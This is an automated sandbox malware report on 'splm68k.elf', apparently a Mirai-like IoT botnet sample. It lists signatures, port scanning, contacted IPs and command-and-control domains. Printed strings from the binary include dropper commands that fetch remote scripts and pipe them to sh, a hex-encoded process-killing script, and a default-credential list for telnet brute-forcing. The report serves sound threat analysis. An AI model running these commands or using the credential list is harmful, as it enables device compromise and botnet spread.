Linux Analysis Report
splm68k.elf

Overview

General Information

Sample name: splm68k.elf
Analysis ID: 1580225
MD5: 51ecbd66450e33a0a7f0255558d453f6
SHA1: f0970f72a901f71610cabde324ffd53e02f579fa
SHA256: e778282e71e02aab4eea836122f7469d3a5b6051df528d6ab8cf66fa1ad97f75
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: splm68k.elf ReversingLabs: Detection: 34%
Source: splm68k.elf Virustotal: Detection: 29% Perma Link
Source: unknown HTTPS traffic detected: 54.171.230.55:443 -> 192.168.2.23:33606 version: TLS 1.2
Found strings indicative of a multi-platform dropper
Source: splm68k.elf String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 209.38.192.73 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 154.216.16.250 ports 38241,1,2,3,4,8
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: serisbot.geek. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:37156 -> 154.216.16.250:38241
Source: global traffic TCP traffic: 192.168.2.23:43580 -> 209.38.192.73:38241
Sample listens on a socket
Source: /tmp/splm68k.elf (PID: 6251) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 28.51.157.110
Source: unknown TCP traffic detected without corresponding DNS query: 48.75.131.23
Source: unknown TCP traffic detected without corresponding DNS query: 105.241.216.128
Source: unknown TCP traffic detected without corresponding DNS query: 68.204.243.116
Source: unknown TCP traffic detected without corresponding DNS query: 122.134.39.170
Source: unknown TCP traffic detected without corresponding DNS query: 165.94.75.171
Source: unknown TCP traffic detected without corresponding DNS query: 115.240.96.10
Source: unknown TCP traffic detected without corresponding DNS query: 93.50.253.10
Source: unknown TCP traffic detected without corresponding DNS query: 126.175.146.178
Source: unknown TCP traffic detected without corresponding DNS query: 79.6.222.53
Source: unknown TCP traffic detected without corresponding DNS query: 117.121.209.44
Source: unknown TCP traffic detected without corresponding DNS query: 187.207.62.39
Source: unknown TCP traffic detected without corresponding DNS query: 129.209.42.201
Source: unknown TCP traffic detected without corresponding DNS query: 96.17.30.177
Source: unknown TCP traffic detected without corresponding DNS query: 132.51.228.133
Source: unknown TCP traffic detected without corresponding DNS query: 55.7.239.67
Source: unknown TCP traffic detected without corresponding DNS query: 114.160.68.193
Source: unknown TCP traffic detected without corresponding DNS query: 100.159.194.253
Source: unknown TCP traffic detected without corresponding DNS query: 213.224.136.14
Source: unknown TCP traffic detected without corresponding DNS query: 83.21.112.35
Source: unknown TCP traffic detected without corresponding DNS query: 58.38.106.20
Source: unknown TCP traffic detected without corresponding DNS query: 33.92.102.74
Source: unknown TCP traffic detected without corresponding DNS query: 159.75.205.29
Source: unknown TCP traffic detected without corresponding DNS query: 163.239.199.208
Source: unknown TCP traffic detected without corresponding DNS query: 197.157.120.70
Source: unknown TCP traffic detected without corresponding DNS query: 65.124.252.95
Source: unknown TCP traffic detected without corresponding DNS query: 221.60.190.131
Source: unknown TCP traffic detected without corresponding DNS query: 189.90.75.185
Source: unknown TCP traffic detected without corresponding DNS query: 91.31.200.135
Source: unknown TCP traffic detected without corresponding DNS query: 6.229.143.135
Source: unknown TCP traffic detected without corresponding DNS query: 123.130.3.104
Source: unknown TCP traffic detected without corresponding DNS query: 28.51.157.110
Source: unknown TCP traffic detected without corresponding DNS query: 140.131.123.87
Source: unknown TCP traffic detected without corresponding DNS query: 108.187.4.203
Source: unknown TCP traffic detected without corresponding DNS query: 48.75.131.23
Source: unknown TCP traffic detected without corresponding DNS query: 148.125.131.174
Source: unknown TCP traffic detected without corresponding DNS query: 142.203.206.158
Source: unknown TCP traffic detected without corresponding DNS query: 105.241.216.128
Source: unknown TCP traffic detected without corresponding DNS query: 116.33.34.34
Source: unknown TCP traffic detected without corresponding DNS query: 83.170.169.151
Source: unknown TCP traffic detected without corresponding DNS query: 68.204.243.116
Source: unknown TCP traffic detected without corresponding DNS query: 223.92.181.172
Source: unknown TCP traffic detected without corresponding DNS query: 122.134.39.170
Source: unknown TCP traffic detected without corresponding DNS query: 90.17.184.124
Source: unknown TCP traffic detected without corresponding DNS query: 142.174.156.34
Source: unknown TCP traffic detected without corresponding DNS query: 165.94.75.171
Source: global traffic DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic DNS traffic detected: DNS query: serisbot.geek. [malformed]
Source: splm68k.elf String found in binary or memory: http:///curl.sh
Source: splm68k.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown HTTPS traffic detected: 54.171.230.55:443 -> 192.168.2.23:33606 version: TLS 1.2
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > .dPon521rootZte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulthkipc2016unisheenFireituphslwificam5upjvbzdsystemzlxx.antslqxc12345xmhdipcicatch99founder88xirtam/*6.=_jat0talc0ntr0l4!7ujMko0adminjuantechipc71aroot12320080826admin123admin1234admin@123BrAhMoS@15GeNeXiS@19supportadmintelnetadminadmintelecomtelecomadminguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafedbin20150602vstarcam2015supporte8ehomee8telnet
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/249@5/0
Enumerates processes within the "proc" file system
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6274/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6274/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6351/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6351/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6273/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6273/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6276/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6276/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6275/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6275/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6278/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6278/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6311/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6311/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6311/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6311/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6277/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6277/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6310/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6310/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6310/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6310/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6313/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6313/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6313/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6313/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6279/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6279/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6312/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6312/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6312/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6312/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6356/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6356/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6272/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6272/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6271/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6271/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6304/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6304/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6303/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6303/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6306/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6306/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6305/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6305/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6327/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6327/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6308/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6308/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6308/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6308/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6307/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6307/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6307/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6309/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6309/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6309/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6309/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6263/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6263/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6285/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6285/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6285/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6285/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6262/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6262/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6284/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6284/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6284/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6284/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6265/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6265/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6287/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6287/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6287/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6287/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6264/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6264/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6286/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6286/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6286/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6286/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6300/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6300/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6288/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6288/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6288/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6288/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6302/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6302/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6301/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6301/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6281/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6281/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6280/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6280/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6283/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6283/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6283/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6283/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6282/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6282/cmdline Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6282/maps Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257) File opened: /proc/6282/cmdline Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6261) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.x1MdUn0HLj /tmp/tmp.r0RyRJHOdS /tmp/tmp.usJSp4ODie Jump to behavior
Source: /usr/bin/dash (PID: 6270) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.x1MdUn0HLj /tmp/tmp.r0RyRJHOdS /tmp/tmp.usJSp4ODie Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/splm68k.elf (PID: 6251) Queries kernel information via 'uname': Jump to behavior
Source: splm68k.elf, 6251.1.00007fff0187c000.00007fff0189d000.rw-.sdmp, splm68k.elf, 6255.1.00007fff0187c000.00007fff0189d000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/splm68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splm68k.elf
Source: splm68k.elf, 6251.1.00007fff0187c000.00007fff0189d000.rw-.sdmp, splm68k.elf, 6255.1.00007fff0187c000.00007fff0189d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: splm68k.elf, 6251.1.0000561bdf9cc000.0000561bdfa50000.rw-.sdmp, splm68k.elf, 6255.1.0000561bdf9cc000.0000561bdfa50000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k
Source: splm68k.elf, 6251.1.0000561bdf9cc000.0000561bdfa50000.rw-.sdmp, splm68k.elf, 6255.1.0000561bdf9cc000.0000561bdfa50000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/m68k
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
83.162.150.225
 unknown Netherlands
3265 XS4ALL-NLAmsterdamNL false
3.86.48.220
 unknown United States
14618 AMAZON-AESUS false
191.244.46.33
 unknown Brazil
22085 ClaroSABR false
213.222.134.45
 unknown Hungary
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
99.41.15.248
 unknown United States
7018 ATT-INTERNET4US false
29.77.115.26
 unknown United States
7922 COMCAST-7922US false
208.30.30.21
 unknown United States
11280 SNAPPYDSL-ASN1US false
100.250.213.5
 unknown United States
21928 T-MOBILE-AS21928US false
49.192.235.59
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
167.94.9.185
 unknown United States
20278 NEXEONUS false
20.19.238.40
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
30.211.247.5
 unknown United States
7922 COMCAST-7922US false
204.219.74.150
 unknown United States
6595 DODDSEURDE false
92.254.60.33
 unknown Netherlands
20507 INTERNLNETInterNLnetAutonomousSystemNL false
194.213.110.78
 unknown Russian Federation
48143 MIRANTIS-ASRU false
156.136.59.213
 unknown United States
29975 VODACOM-ZA false
220.176.63.186
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
168.149.109.80
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
206.224.3.69
 unknown United States
18756 PATEAMUS false
191.216.143.150
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
147.14.28.151
 unknown Sweden
41076 POSTDK-ASDK false
46.14.101.130
 unknown Switzerland
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
25.55.227.23
 unknown United Kingdom
7922 COMCAST-7922US false
215.76.166.177
 unknown United States
385 AFCONC-BLOCK1-ASUS false
80.234.226.189
 unknown United Kingdom
5413 AS5413GB false
172.196.75.97
 unknown Australia
18747 IFX18747US false
31.116.118.121
 unknown United Kingdom
12576 EELtdGB false
178.164.90.51
 unknown Norway
34087 NTE-BREDBANDNIX1OsloNorwayNO false
207.52.101.178
 unknown United States
1239 SPRINTLINKUS false
45.139.169.255
 unknown Russian Federation
35751 INTERNETTEKHNOLOGII-ASRU false
157.211.27.51
 unknown Australia
7573 UTASTheUniversityofTasmaniaAU false
158.236.74.47
 unknown United States
1540 DNIC-ASBLK-01534-01546US false
206.122.86.246
 unknown United States
701 UUNETUS false
52.75.142.211
 unknown United States
16509 AMAZON-02US false
57.0.191.243
 unknown Belgium
2686 ATGS-MMD-ASUS false
83.16.62.139
 unknown Poland
5617 TPNETPL false
119.47.22.27
 unknown Japan 17682 CABLENET296296BROADNETComIncJP false
88.193.179.69
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
145.117.124.171
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
4.133.165.37
 unknown United States
3356 LEVEL3US false
142.240.148.222
 unknown Canada
36750 CITY-OF-MISSISSAUGACA false
3.138.165.134
 unknown United States
16509 AMAZON-02US false
28.55.35.87
 unknown United States
7922 COMCAST-7922US false
22.249.138.32
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
174.112.151.23
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
101.221.212.96
 unknown India
58519 CHINATELECOM-CTCLOUDCloudComputingCorporationCN false
156.48.218.14
 unknown United Kingdom
29975 VODACOM-ZA false
179.203.209.44
 unknown Brazil
26615 TIMSABR false
96.206.182.47
 unknown United States
7922 COMCAST-7922US false
130.56.86.105
 unknown Australia
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
204.212.72.95
 unknown United States
1239 SPRINTLINKUS false
102.72.87.214
 unknown Morocco
6713 IAM-ASMA false
98.36.233.239
 unknown United States
7922 COMCAST-7922US false
218.191.96.204
 unknown Hong Kong
9304 HUTCHISON-AS-APHGCGlobalCommunicationsLimitedHK false
172.84.138.151
 unknown United States
395610 NBASN-180US false
78.97.3.15
 unknown Romania
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
115.49.52.63
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
3.227.1.32
 unknown United States
14618 AMAZON-AESUS false
204.116.225.230
 unknown United States
10279 WCCL-ASUS false
161.98.57.180
 unknown United States
14041 AS14041US false
221.55.76.232
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
176.114.44.114
 unknown Russian Federation
42975 FEOSKY-ASRU false
129.147.168.111
 unknown United States
31898 ORACLE-BMC-31898US false
29.188.202.8
 unknown United States
7922 COMCAST-7922US false
123.160.71.185
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
114.213.236.14
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
34.14.229.251
 unknown United States
2686 ATGS-MMD-ASUS false
162.143.13.50
 unknown United States
394283 BEACON-HEALTH-SYSTEMUS false
47.148.149.166
 unknown United States
5650 FRONTIER-FRTRUS false
223.83.90.180
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
116.69.207.218
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
87.115.27.82
 unknown United Kingdom
6871 PLUSNETUKInternetServiceProviderGB false
149.24.188.24
 unknown United States
54624 EL-FAIRFAX-VAUS false
54.204.102.197
 unknown United States
14618 AMAZON-AESUS false
146.244.72.240
 unknown United States
2152 CSUNET-NWUS false
154.61.47.23
 unknown United States
8149 ABACUS-GROUP2US false
166.228.152.1
 unknown United States
6614 USCC-ASNUS false
131.199.17.216
 unknown United States
1341 ROCKWELLCOLLINS-ASUS false
191.44.182.34
 unknown Brazil
7738 TelemarNorteLesteSABR false
30.238.135.214
 unknown United States
7922 COMCAST-7922US false
124.53.169.31
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
31.98.227.33
 unknown United Kingdom
12576 EELtdGB false
223.123.248.90
 unknown China
58453 CMI-INT-HKLevel30Tower1HK false
59.58.162.18
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
24.41.148.85
 unknown United States
14638 LCPRLUS false
6.70.207.12
 unknown United States
1479 DNIC-ASBLK-01478-01479US false
20.140.28.36
 unknown United States
8070 MICROSOFT-CORP-MSN-AS-BLOCKUS false
8.243.224.122
 unknown United States
3356 LEVEL3US false
19.88.221.50
 unknown United States
3 MIT-GATEWAYSUS false
149.187.222.102
 unknown United Kingdom
87 INDIANA-ASUS false
166.42.71.74
 unknown United States
3372 MCI-ASNUS false
107.71.78.48
 unknown United States
7018 ATT-INTERNET4US false
81.7.78.54
 unknown Lithuania
8764 TELIA-LIETUVALT false
18.76.18.44
 unknown United States
3 MIT-GATEWAYSUS false
1.221.177.255
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
22.194.19.202
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
145.76.14.84
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
101.237.188.154
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
202.177.249.193
 unknown India
24554 FIVE-NET-AS-INFivenetworkSolutionIndiaPvtLtdInternet false
101.94.83.190
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false

Contacted Domains

Name IP Active
serisontop.dyn 154.216.16.250 true
serisbot.geek. [malformed] unknown unknown